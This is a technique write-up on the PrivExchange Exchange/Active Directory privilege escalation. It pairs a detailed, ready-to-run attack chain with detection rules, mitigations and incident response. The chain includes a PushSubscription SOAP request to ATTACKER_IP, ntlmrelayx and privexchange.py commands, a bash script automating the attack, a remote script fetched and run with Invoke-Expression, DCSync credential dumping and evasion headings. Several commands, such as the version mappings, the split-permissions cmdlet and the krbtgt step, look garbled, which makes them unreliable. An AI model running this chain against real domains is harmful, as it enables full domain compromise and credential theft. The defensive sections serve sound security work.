| Attribute | Details |
|---|---|
| Technique ID | PE-REMOTE-002 |
| MITRE ATT&CK v18.1 | T1210 - Exploitation of Remote Services |
| Tactic | Privilege Escalation / Lateral Movement |
| Platforms | Windows AD (Exchange 2010, 2013, 2016, 2019) |
| Severity | Critical |
| CVE | CVE-2019-0686 (PrivExchange - Primary), CVE-2019-0604 (SharePoint Correlation) |
| Technique Status | FIXED (Patched in February 2019; mitigations required) |
| Last Verified | 2024-12-15 |
| Affected Versions | Exchange Server 2010 SP3+, Exchange 2013 CU1-CU21, Exchange 2016 CU1-CU17, Exchange 2019 CU1-CU7 |
| Patched In | Exchange 2010 SP3 KB4490059, Exchange 2013 CU22+, Exchange 2016 CU18+, Exchange 2019 CU8+ |
| Author | SERVTEP – Artur Pchelnikau |
Concept: PrivExchange (CVE-2019-0686) is a privilege escalation vulnerability that chains together three known weaknesses: (1) Exchange’s default elevated privileges in Active Directory, (2) NTLM relay attack vulnerability, and (3) Exchange’s PushSubscription API feature which forces the Exchange server to authenticate using NTLM over HTTP. By exploiting these components, any user with a mailbox can escalate to Domain Administrator without requiring administrative privileges on the Exchange server itself. The attack uses the Exchange server’s computer account (which is a member of the “Exchange Windows Permissions” group) and its default WriteDacl privilege on the AD domain object to grant the attacker DCSync rights (Replicating Directory Changes), enabling credential harvesting from the Domain Controller.
Attack Surface: The vulnerability is exposed through the Exchange Web Services (EWS) API, specifically the PushSubscription feature which is enabled by default. The attack vector requires (1) a valid user account with a mailbox (can be a regular employee mailbox), (2) network access to the Exchange server port 443 (HTTPS), and (3) the ability to set up an NTLM relay listener (typically on port 80 or 443 from attacker-controlled infrastructure).
Business Impact: Complete Active Directory compromise leading to domain-wide breach. Attackers leverage this vulnerability to extract all user password hashes and Kerberos keys via DCSync, create backdoor Domain Admin accounts, and establish persistent access across the entire forest. The attack is “living off the land”—it uses only built-in Exchange APIs and standard Windows protocols, leaving minimal forensic evidence. Organizations cannot detect this attack through standard endpoint monitoring because all traffic is legitimate, authenticated NTLM protocol.
Technical Context: The exploitation typically takes 2-10 minutes once a compromised mailbox is available. The attack chain is deterministic—if proper mitigations are not in place, it will succeed. Multiple variants exist that bypass specific mitigations (e.g., Extended Protection bypass via relay to LDAP instead of SMB). The stealth factor is very high—no unusual file creation, process execution, or malware signature is generated during the core attack.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | CIS Active Directory Benchmark v2.0 (Section 5.1-5.3) | Implement principle of least privilege; reduce Exchange privileges; enable Extended Protection for Authentication. |
| DISA STIG | AD-000100, EX-000001 | Implement split permissions model; restrict service account privileges; enforce signing/sealing on NTLM. |
| CISA SCuBA | AD.AC.02, AD.AC.08 | Enforce Extended Protection; disable NTLM relay for critical services. |
| NIST 800-53 | AC-2 (Account Management), AC-3 (Access Enforcement), SC-7 (Boundary Protection) | Implement least privilege; restrict high-privileged group membership; segregate network segments. |
| GDPR | Article 32 (Security of Processing) | Technical measures must ensure only authorized access; implement strong authentication and network segmentation. |
| DORA | Article 9 (Protection and Prevention) | Operators must prevent privilege escalation through secure service configurations. |
| NIS2 | Article 21 (Cyber Risk Management Measures) | Implement detection controls; enforce multi-factor authentication; maintain service hardening baselines. |
| ISO 27001 | A.9.2.3 (User Access Rights), A.9.2.5 (Review of User Access Rights) | Restrict access to administrative functions; regularly audit group memberships. |
| ISO 27005 | Risk Scenario: “Privilege Escalation via Exchange Services” | Likelihood: High (if unpatched); Impact: Critical (AD compromise). |
Supported Versions:
NOT Affected (per original research by Dirk-jan Mollema):
Tools:
Check if PrivExchange Mitigations are Active:
# Check if Extended Protection for Authentication (EPA) is enabled on EWS
Get-WebConfigurationProperty -ppath "IIS:\Sites\Default Web Site\ews\Exchange.asmx" `
-filter "system.webServer/security/authentication/windowsAuthentication" `
-name "extendedProtectionTokenChecking"
# Expected Output if VULNERABLE:
# extendedProtectionTokenChecking : None (or not present)
# Expected Output if PATCHED:
# extendedProtectionTokenChecking : Require
# Alternative: Check via Exchange Management Shell
Get-EWSVirtualDirectory -Identity "ExchangeServer\ews (Default Web Site)" | Select-Object ExtendedProtectionTokenChecking
# Expected Output if PATCHED:
# ExtendedProtectionTokenChecking : Require
Verify Exchange Version & Patch Level:
# Get Exchange Server version
Get-ExchangeServer | Select-Object Name, ServerRole, AdminDisplayVersion
# Expected Output for VULNERABLE versions:
# Name : EXCH01
# AdminDisplayVersion : Version 15.1 (Build 2034.27) <- Exchange 2019 CU7 (VULNERABLE)
# Expected Output for PATCHED versions:
# AdminDisplayVersion : Version 15.1 (Build 2034.32) <- Exchange 2019 CU8+ (PATCHED)
# Query the specific CU version
Get-ExchangeServer | Select-Object @{n="CU";e={if($_.AdminDisplayVersion -match "CU(\d+)") {$matches[1]} else {"Unknown"}}}
Test EWS Push Subscription Access (requires valid mailbox):
# Establish connection to Exchange Web Services
$uri = "https://EXCHANGESERVER/ews/exchange.asmx"
$creds = Get-Credential
# Create a simple EWS subscription request to test access
$soapRequest = @"
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types">
<soap:Header>
<t:RequestServerVersion Version="Exchange2016"/>
</soap:Header>
<soap:Body>
<GetItem xmlns="http://schemas.microsoft.com/exchange/services/2006/messages">
<ItemShape>
<t:BaseShape>IdOnly</t:BaseShape>
</ItemShape>
<ItemIds>
<t:DistinguishedFolderId Id="inbox"/>
</ItemIds>
</GetItem>
</soap:Body>
</soap:Envelope>
"@
# Attempt connection
try {
$response = Invoke-WebRequest -Uri $uri -Method Post -Body $soapRequest `
-ContentType "text/xml" -Credential $creds -SkipCertificateCheck
Write-Host "✓ EWS is accessible and responding" -ForegroundColor Green
Write-Host "✓ User has mailbox access" -ForegroundColor Green
} catch {
Write-Host "✗ EWS connection failed or user lacks mailbox access" -ForegroundColor Red
}
# Identify Exchange servers via DNS
nslookup mail.contoso.com
# Check if EWS endpoint is accessible
curl -v -k --ntlm --user username:password \
-X GET https://mail.contoso.com/ews/exchange.asmx
# Expected Response if ACCESSIBLE:
# HTTP/1.1 200 OK
# This indicates EWS is accessible and authentication is working
# Verify that NTLM negotiation is possible (sign of vulnerability)
curl -v -k --negotiate https://mail.contoso.com/ews/exchange.asmx
# Expected Response if VULNERABLE (no EPA):
# 401 Unauthorized (with NTLM offered)
# Expected Response if PATCHED (EPA enabled):
# May still respond but EPA will block relay attempts
This is the primary exploitation method from the original PrivExchange PoC. It uses the PushSubscription API to force Exchange to authenticate via NTLM to an attacker-controlled server, then relays that authentication to a Domain Controller’s LDAP service to escalate privileges.
Supported Versions: Exchange 2010 SP3 through Exchange 2019 CU7 (all vulnerable versions)
Prerequisites:
Objective: Start an NTLM relay server that will accept the Exchange server’s authentication attempt and relay it to the Domain Controller’s LDAP service.
Command (Linux - Using impacket/ntlmrelayx):
# Start ntlmrelayx in relay mode targeting LDAP on the Domain Controller
# This will escalate privileges for the target user to include DCSync rights
ntlmrelayx.py -t ldap://dc01.contoso.com --escalate-user USERNAME
# Expected Output:
# [*] Setting up relay server
# [*] Relay target: ldap://dc01.contoso.com
# [*] Escalate user: USERNAME
# [*] Listening on 0.0.0.0:80
# [*] Server started. Waiting for NTLM relaying...
What This Means:
OpSec & Evasion:
Objective: Use the Exchange PushSubscription API to force the Exchange server to authenticate to the attacker’s relay server using its computer account (NTLM).
Command (PowerShell - Authenticated as mailbox user):
# Establish authenticated session to Exchange EWS using valid mailbox credentials
$mailboxUser = "user@contoso.com"
$password = "Password123!" | ConvertTo-SecureString -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential($mailboxUser, $password)
# EWS URL - modify for your environment
$exchangeUrl = "https://mail.contoso.com/ews/exchange.asmx"
# Craft SOAP request to subscribe to push notifications
# The URL parameter points to attacker's relay server
$soapRequest = @"
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"
xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages">
<soap:Header>
<t:RequestServerVersion Version="Exchange2016"/>
</soap:Header>
<soap:Body>
<m:Subscribe>
<m:PushSubscriptionRequest>
<t:FolderIds>
<t:DistinguishedFolderId Id="inbox"/>
</t:FolderIds>
<t:EventTypes>
<t:EventType>NewMailEvent</t:EventType>
</t:EventTypes>
<t:URL>http://ATTACKER_IP:80/</t:URL>
<t:Watermark>0</t:Watermark>
<t:StatusFrequency>1</t:StatusFrequency>
</m:PushSubscriptionRequest>
</m:Subscribe>
</soap:Body>
</soap:Envelope>
"@
# Send the subscription request
$request = [System.Net.HttpWebRequest]::Create($exchangeUrl)
$request.Method = "POST"
$request.ContentType = "text/xml; charset=utf-8"
$request.Credentials = $creds
$request.AllowAutoRedirect = $true
$streamWriter = New-Object System.IO.StreamWriter($request.GetRequestStream())
$streamWriter.Write($soapRequest)
$streamWriter.Close()
# Send the request (this triggers Exchange to connect to attacker's relay server)
$response = $request.GetResponse()
Write-Host "Push subscription created. Exchange will now attempt to authenticate to the relay server..."
# Close the response
$response.Close()
Alternative: Using PrivExchange.py (Python - Recommended):
# Use the original PrivExchange.py tool (simpler and more reliable)
python3 privexchange.py -u user@contoso.com -p Password123! \
-d contoso.com -t mail.contoso.com \
--exchange-version 2019 \
-i ATTACKER_IP
# Expected Output:
# Attacking /ews/exchange.asmx on mail.contoso.com
# [*] Creating subscription request for user@contoso.com
# [*] Sending subscription request to http://ATTACKER_IP:80/
# [*] Subscription created successfully
# [+] The Exchange server will attempt to authenticate to http://ATTACKER_IP:80/
What This Means:
http://ATTACKER_IP:80/.OpSec & Evasion:
Get-PushSubscription | Remove-PushSubscriptionObjective: Exchange initiates connection to the attacker-controlled relay server and sends NTLM authentication.
What Happens (Automatic):
http://ATTACKER_IP:80/).EXCH01$).Sample NTLM Relay Traffic (captured at relay server):
[*] Target: ldap://dc01.contoso.com
[*] Incoming connection from 192.168.1.10 (mail.contoso.com)
[*] NTLM Challenge received: EXCH01$
[*] Relaying NTLM to ldap://dc01.contoso.com
[*] LDAP bind successful with EXCH01$ (Exchange computer account)
[*] Adding "Replicating Directory Changes All" privilege to USERNAME
[+] Privilege escalation successful!
OpSec & Evasion:
Objective: Now that the target user has DCSync privileges, dump all AD credentials from the Domain Controller.
Command (PowerShell using Mimikatz or impacket):
# Using Mimikatz (if available on compromised system)
mimikatz.exe "lsadump::dcsync /user:krbtgt" exit
# Expected Output:
# ** Attempting to find krbtgt...
# RID : 502 (0x1f6)
# User : krbtgt
# NTLM : 5f20d3201d00000000000000000000000
# LM :
# SID : S-1-5-21-...-502
Command (Linux - Using impacket/secretsdump):
# Dump all AD secrets now that DCSync privileges are granted
secretsdump.py -dc-ip 192.168.1.5 -all -just-dc \
CONTOSO/username@dc01.contoso.com
# Expected Output:
# Dumping domain trusts information
# Domain SID: S-1-5-21-...
# Trying to parse hashes...
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:5f20d3201d00000000000000000000000:::
# Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
# krbtgt:502:aad3b435b51404eeaad3b435b51404ee:5f20d3201d00000000000000000000000:::
What This Means:
krbtgt hash enables creation of Golden Tickets for persistence.An alternative method that relays Exchange’s NTLM authentication to SMB (port 445) instead of LDAP. This can be used if LDAP relay is blocked but SMB relay is available.
Supported Versions: Exchange 2010 SP3 through Exchange 2019 CU7
Command (Linux - ntlmrelayx with SMB):
# Setup SMB relay to compromise a domain-joined machine with high privileges
ntlmrelayx.py -t smb://targetserver.contoso.com --no-http-server --socks
# When Exchange connects and relays NTLM:
# [*] Target: smb://targetserver.contoso.com
# [*] Relaying NTLM to SMB
# [+] Socks proxy server started at 127.0.0.1:1080
# [+] Authenticated as EXCH01$ on targetserver
Use the SOCKS proxy to execute commands as Exchange computer account:
# Proxychains + impacket to execute commands as EXCH01$ on target
proxychains secretsdump.py -target-ip 192.168.1.10 EXCH01@targetserver
# Or use impacket's wmiexec to get a reverse shell
proxychains wmiexec.py -no-pass EXCH01@targetserver 'whoami'
An alternative PowerShell-based implementation that doesn’t require external tools like impacket.
Supported Versions: Exchange 2013 through Exchange 2019
Command (PowerShell):
# Download and execute powerPriv
$powerPrivUrl = "https://raw.githubusercontent.com/TheDarkMoon/powerPriv/master/powerPriv.ps1"
$powerPrivScript = Invoke-WebRequest -Uri $powerPrivUrl | Select-Object -ExpandProperty Content
Invoke-Expression $powerPrivScript
# Execute the privilege escalation
Invoke-PrivExchange -exchangeServer mail.contoso.com -mailbox user@contoso.com `
-password "Password123!" -relayServer ATTACKER_IP -targetDC dc01.contoso.com `
-username USERNAME -domain contoso.com
# Expected Output:
# [+] Creating push subscription for user@contoso.com
# [+] Subscription created. Waiting for relay...
# [+] NTLM relay successful!
# [+] DCSync privileges granted to USERNAME
Version: Latest (maintained by Dirk-jan Mollema)
Minimum Version: v1.0 (February 2019 onwards)
Supported Platforms: Linux, macOS, Windows (with Python 3.6+)
Installation:
git clone https://github.com/dirkjanm/PrivExchange.git
cd PrivExchange
pip3 install -r requirements.txt
# Verify installation
python3 privexchange.py --help
Usage:
# Basic usage with mailbox credentials
python3 privexchange.py -u user@contoso.com -p Password123! \
-d contoso.com -t mail.contoso.com -i ATTACKER_IP
# With Kerberos authentication (if available)
python3 privexchange.py -u user@contoso.com -k \
-t mail.contoso.com -i ATTACKER_IP
# Specify Exchange version and protocol
python3 privexchange.py -u user@contoso.com -p Password123! \
--exchange-version 2019 -t mail.contoso.com -i ATTACKER_IP
Output:
PrivExchange - Privilege Escalation Attack on Exchange
Targeting: mail.contoso.com
[*] Authenticating as user@contoso.com
[*] Creating push notification subscription
[*] Subscription ID: 12345
[*] Relay server: http://ATTACKER_IP:80/
[+] Subscription created successfully
[+] Waiting for NTLM relay...
Version: Latest (continuously updated)
Supported Platforms: Linux, macOS
Installation:
git clone https://github.com/SecureAuthCorp/impacket.git
cd impacket
pip3 install .
# Verify installation
ntlmrelayx.py --help
Usage for PrivExchange:
# Relay NTLM to LDAP with privilege escalation
ntlmrelayx.py -t ldap://dc01.contoso.com --escalate-user USERNAME
# Relay to multiple targets (LDAP + SMB)
ntlmrelayx.py -t ldap://dc01.contoso.com smb://targetserver.contoso.com \
--escalate-user USERNAME
# Run with SOCKS proxy for post-exploitation
ntlmrelayx.py -t ldap://dc01.contoso.com --escalate-user USERNAME --socks
#!/bin/bash
# Full PrivExchange exploitation chain (Linux)
EXCHANGE_SERVER="mail.contoso.com"
MAILBOX="user@contoso.com"
PASSWORD="Password123!"
DOMAIN="contoso.com"
DC="dc01.contoso.com"
ATTACKER_IP="192.168.1.100"
TARGET_USER="username" # User to escalate
echo "[*] Step 1: Starting NTLM relay server..."
ntlmrelayx.py -t ldap://$DC --escalate-user $TARGET_USER &
RELAY_PID=$!
sleep 2
echo "[*] Step 2: Forcing Exchange to authenticate..."
python3 privexchange.py -u $MAILBOX -p $PASSWORD -d $DOMAIN \
-t $EXCHANGE_SERVER -i $ATTACKER_IP
echo "[*] Step 3: Waiting for privilege escalation..."
sleep 10
echo "[+] Step 4: DCSync privileges should now be granted to $TARGET_USER"
# Clean up relay server
kill $RELAY_PID
echo "[+] Attack complete. Use secretsdump or Mimikatz to dump AD credentials."
Event ID: 5156 (Network Connection Allowed)
EXCH01$, destination port 80 or 443, unusual remote IPEvent ID: 5136 (Directory Service Object Modified)
Replicating Directory Changes or Replicating Directory Changes All permissionsAttribute Modified = "msDS-GenericPreference" or DirectoryServiceAuditEvent with privilege grantEvent ID: 4662 (Operation Performed on Active Directory Object)
ObjectDN contains user name, Accesses contains Replication-Get-Changes-AllManual Configuration Steps (Group Policy - Enable Directory Service Audit):
gpupdate /forceManual Configuration Steps (On Domain Controller - Local Security Policy):
auditpol /set /subcategory:"Directory Service Changes" /success:enable /failure:enableReal-Time Monitoring (PowerShell):
# Monitor for privilege escalation attempts in real-time
Get-EventLog -LogName Security -InstanceId 5136 -Newest 100 | Where-Object {
$_.Message -match "Replicating Directory Changes"
} | Select-Object TimeGenerated, Message | Format-List
# Monitor for Directory Service replication operations
Get-EventLog -LogName Security -InstanceId 4662 -Newest 100 | Where-Object {
$_.Message -match "Replication-Get-Changes-All" -or $_.Message -match "DCSync"
} | Select-Object TimeGenerated, Message | Format-List
Minimum Sysmon Version: 13.0+
Supported Platforms: Domain Controllers (Windows Server 2016+)
Sysmon Config XML:
<!-- Detect PrivExchange attack indicators -->
<Sysmon schemaversion="4.40">
<EventFiltering>
<!-- Event ID 1: Process Creation -->
<!-- Monitor for Mimikatz or secretsdump execution (post-exploitation) -->
<ProcessCreate onmatch="include">
<Image condition="contains any">
mimikatz;secretsdump;lsass;dcsync;replicator
</Image>
<CommandLine condition="contains any">
lsadump;dcsync;Replicating-Directory;DCSync
</CommandLine>
</ProcessCreate>
<!-- Event ID 10: Process Access -->
<!-- Monitor for LSASS access (used in credential dumping post-PrivExchange) -->
<ProcessAccess onmatch="include">
<TargetImage condition="is">lsass.exe</TargetImage>
<GrantedAccess condition="is">0x1000</GrantedAccess> <!-- Query Limited Access -->
</ProcessAccess>
</EventFiltering>
</Sysmon>
Manual Configuration Steps:
sysmon64.exe -accepteula -i sysmon-config.xml
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -FilterXPath "*[EventData[Data[@Name='Image' and contains(., 'mimikatz')]]]"
Rule Configuration:
KQL Query:
W3CIISLog
| where csUriStem contains "ews/exchange.asmx"
| where csMethod == "POST"
| where cs_body contains "PushSubscription" or cs_body contains "subscribe"
| where cs_body contains "http://" or cs_body contains "https://"
| project TimeGenerated, cIP, csHost, csUriStem, cs_body
What This Detects:
Manual Configuration Steps:
Rule Configuration:
KQL Query:
SecurityEvent
| where EventID == 5136
| where Activity == "Directory Service Object Modified"
| where EventData contains "Replicating-Directory-Changes-All" or EventData contains "1131654656"
| project TimeGenerated, Computer, TargetUserName, Account, EventData
What This Detects:
Rule Configuration:
KQL Query:
// Detect Exchange server making unusual outbound HTTP connections
SecurityEvent
| where EventID == 5156 // Network connection
| where Computer contains "EXCH" or Computer contains "Exchange"
| where (DestinationPort == 80 or DestinationPort == 443)
and DestinationIpAddress != "DC_IP"
and DestinationIpAddress != "DNS_IP"
| project TimeGenerated, Computer, DestinationIpAddress, DestinationPort, SourcePort
Mitigation 1: Patch to Latest Cumulative Update
Upgrade to the following patched versions minimum:
Manual Steps (PowerShell - Exchange Server):
# Check current version
Get-ExchangeServer | Select-Object AdminDisplayVersion
# Download latest CU from Microsoft Update Center
# https://learn.microsoft.com/en-us/exchange/new-features/build-numbers-and-release-dates
# Stop Exchange services
Stop-Service -Name MSExchangeServiceHost, MSExchangeMailboxAssistants -Force
# Run CU installer
cd C:\Patches
.\Exchange2019-KB5003437-x64.exe /s /v"/qb"
# Restart services
Start-Service -Name MSExchangeServiceHost, MSExchangeMailboxAssistants
# Verify patch applied
Get-ExchangeServer | Select-Object AdminDisplayVersion
Mitigation 2: Enable Extended Protection for Authentication (EPA) on EWS
This is the primary mitigation that prevents NTLM relay attacks against Exchange.
Manual Steps (Exchange Management Shell):
# Enable EPA on EWS virtual directory
Get-EWSVirtualDirectory | Set-EWSVirtualDirectory `
-ExtendedProtectionTokenChecking "Require" `
-ExtendedProtectionSPNList "HTTP/mail.contoso.com","HTTP/mail"
# Verify EPA is enabled
Get-EWSVirtualDirectory | Select-Object ExtendedProtectionTokenChecking
# Expected Output:
# ExtendedProtectionTokenChecking : Require
Manual Steps (PowerShell - Alternative method via IIS):
# Enable EPA directly via IIS WebConfig
Set-WebConfigurationProperty -ppath "IIS:\Sites\Default Web Site\ews\exchange.asmx" `
-filter "system.webServer/security/authentication/windowsAuthentication" `
-name "extendedProtectionTokenChecking" -value "Require"
# Restart IIS
iisreset /restart
Validation Command (Verify Fix):
# Verify EPA is enabled on EWS
Get-EWSVirtualDirectory | Select-Object ExtendedProtectionTokenChecking
# Expected Output (If Secure):
# ExtendedProtectionTokenChecking : Require
Mitigation 3: Reduce Exchange Permissions in Active Directory
Remove the dangerous WriteDacl privilege from the Exchange Windows Permissions group.
Manual Steps (Active Directory):
# Connect to Active Directory
Import-Module ActiveDirectory
# Remove WriteDacl privilege from Exchange Windows Permissions group on Domain object
$domainDN = (Get-ADDomain).DistinguishedName
$exchangeGroupSID = (Get-ADGroup -Identity "Exchange Windows Permissions").SID
# Remove the EXPLICIT WriteDacl ACE (requires AD ACL manipulation)
$acl = Get-Acl "AD:$domainDN"
$acl.Access | Where-Object {$_.IdentityReference -like "*Exchange Windows Permissions*" -and $_.ActiveDirectoryRights -like "*WriteDacl*"} | ForEach-Object {
$acl.RemoveAccessRule($_)
}
Set-Acl "AD:$domainDN" $acl
# Verify removal
Get-Acl "AD:$domainDN" | Where-Object {$_.IdentityReference -like "*Exchange Windows Permissions*"}
Alternative: Run Setup.exe /PrepareAD (requires new Exchange installer):
# On a server with the latest Exchange CU installer
cd C:\Exchange\
.\Setup.exe /PrepareAD
# This automatically reduces permissions to minimum required
Mitigation 4: Implement Split Permissions Model
Configure Exchange to use split permissions instead of shared permissions, isolating Exchange privileges from AD privileges.
Manual Steps (PowerShell - Active Directory and Exchange):
# Check current permissions model
Get-OrganizationConfig | Select-Object ACLableSeparatedBy
# If "Shared" is shown, convert to split permissions
# This requires full AD forest and Exchange reconfiguration
# Run from AD-integrated Exchange server with Enterprise Admin
Set-ADServerSettings -ViewEntireForest $true
Set-OrganizationConfig -ACLableSeparatedBy Domain
# Restart Exchange services
Restart-Service MSExchangeServiceHost
Note: Split permissions requires careful planning and testing; not recommended for production without thorough testing.
Mitigation 5: Disable EWS Push Notifications (Temporary)
Temporarily disable the PushSubscription feature until all systems are patched.
Manual Steps (Exchange Management Shell):
# Disable push notification subscriptions globally
Set-EWSVirtualDirectory -Identity "Default EWS" -EnablePushNotifications $false
# Verify disabled
Get-EWSVirtualDirectory | Select-Object EnablePushNotifications
# Expected Output (If Secure):
# EnablePushNotifications : False
Re-Enable After Patching:
Set-EWSVirtualDirectory -Identity "Default EWS" -EnablePushNotifications $true
Mitigation 6: Enable LDAP Signing and Sealing
Prevent NTLM relay attacks to LDAP by requiring signing and sealing.
Manual Steps (Domain Controller - Group Policy):
Require SigningAlwaysgpupdate /forceManual Steps (Local Registry - Domain Controller):
# Set LDAP Signing requirement
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\ldap" `
-Name "LdapServerIntegrity" -Value 2 # 2 = Require Signing
# Restart LDAP/Active Directory
Restart-Service -Name NTDS
Mitigation 7: Monitor for DCSync Activity
Enable audit logging for Directory Service replication operations.
Manual Steps (Group Policy - Domain Controller):
Success and Failuregpupdate /forceFiles:
C:\Program Files\Microsoft\Exchange Server\V15\Logging\Registry:
Network:
Event Logs:
Disk:
$env:PROGRAMFILES\Microsoft\Exchange Server\V15\Logging\HttpProxy\*C:\inetpub\logs\LogFiles\W3SVC1\Memory:
Network:
Audit Logs:
1. Isolate (0-5 minutes):
Command (PowerShell - Disconnect Exchange from network):
# Disable network adapter
Disable-NetAdapter -Name "Ethernet" -Confirm:$false
# Or block outbound traffic via firewall
New-NetFirewallRule -DisplayName "Isolate-Exchange" -Direction Outbound `
-Action Block -RemoteAddress 0.0.0.0/0 -Enabled $true -Program "c:\program files\microsoft\exchange server\v15\bin\exsetup.exe"
2. Collect Evidence (5-30 minutes):
Command (PowerShell):
# Export Exchange logs
Copy-Item -Path "$env:PROGRAMFILES\Microsoft\Exchange Server\V15\Logging\*" `
-Destination "C:\Evidence\Exchange_Logs" -Recurse -Force
# Export IIS logs
Copy-Item -Path "C:\inetpub\logs\LogFiles\*" -Destination "C:\Evidence\IIS_Logs" -Recurse -Force
# Export Event logs
wevtutil epl Security "C:\Evidence\Security.evtx"
wevtutil epl "Directory Service" "C:\Evidence\DirService.evtx"
# Check for push subscriptions
Get-PushSubscription | Export-Csv "C:\Evidence\PushSubscriptions.csv"
# Query AD for recently modified user objects (privilege escalation)
Get-ADUser -Filter * -Properties whenChanged,Description | `
Where-Object {$_.whenChanged -gt (Get-Date).AddHours(-2)} | `
Export-Csv "C:\Evidence\Modified_Users.csv"
3. Remediate (30-120 minutes):
Command (PowerShell - Remove Push Subscriptions):
# List all push subscriptions
Get-PushSubscription
# Remove suspicious subscriptions
Get-PushSubscription | Where-Object {$_.URL -notlike "*contoso.com*"} | Remove-PushSubscription -Force
# Or remove all push subscriptions (nuclear option)
Get-PushSubscription | Remove-PushSubscription -Force
Command (PowerShell - Remove Unauthorized Permissions):
# Identify users with DCSync permissions (added by PrivExchange)
Get-ADUser -Filter * | Where-Object {
$_.DistinguishedName -in (Get-ACL "AD:$(Get-ADDomain).DistinguishedName" | `
Where-Object {$_.IdentityReference -like "*Username*" -and $_.ActiveDirectoryRights -like "*Replicating*"})
}
# Remove the user from high-privileged groups
Remove-ADGroupMember -Identity "Exchange Windows Permissions" -Members USERNAME -Confirm:$false
Remove-ADGroupMember -Identity "Replication-Get-Changes-All" -Members USERNAME -Confirm:$false
# Reset the user's password (if compromised credentials)
Set-ADAccountPassword -Identity USERNAME -NewPassword (ConvertTo-SecureString -AsPlainText "NewP@ss123!" -Force) -Reset
Command (PowerShell - Invalidate Potentially Compromised Credentials):
# Invalidate all Kerberos tickets for affected users (nuclear option)
# Requires Domain Admin
Get-ADUser -Filter * | ForEach-Object {
Set-ADUser $_ -Replace @{pwdLastSet="0"} # Forces password change on next login
}
# Rotate krbtgt password (to invalidate Golden Tickets)
$null = Set-ADUser krbtgt -Replace @{pwdLastSet="0"}
4. Full Remediation (Recommended - If Compromise Confirmed):
# 1. Patch all Exchange servers to latest CU
# 2. Enable Extended Protection on all Exchange endpoints
# 3. Reduce Exchange permissions in AD
# 4. Review all AD audit logs for compromise indicators
# 5. Reset all admin passwords
# 6. Invalidate all Kerberos tickets (Set pwdLastSet=0 on all users)
# 7. Rotate krbtgt password twice
# 8. Perform full DCSync to identify compromised accounts and hashes
# 9. Consider forest-wide password reset if widespread compromise
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-VALID-001] Default/Weak Credentials | Attacker obtains valid mailbox credentials via phishing or credential stuffing |
| 2 | Privilege Escalation | [PE-REMOTE-002] PrivExchange (THIS TECHNIQUE) | Escalates from mailbox user to Domain Administrator |
| 3 | Credential Access | [CA-DUMP-002] DCSync Attack | Attacker uses Domain Admin privileges to synchronize AD credentials |
| 4 | Persistence | [PE-ACCTMGMT-014] Global Administrator Backdoor | Attacker creates hidden admin accounts or Golden Tickets |
| 5 | Lateral Movement | [LM-AUTH-001] Pass-the-Hash | Attacker uses stolen hashes to compromise other domain-joined systems |
| 6 | Impact | Data Exfiltration & Domain Takeover | Complete enterprise compromise |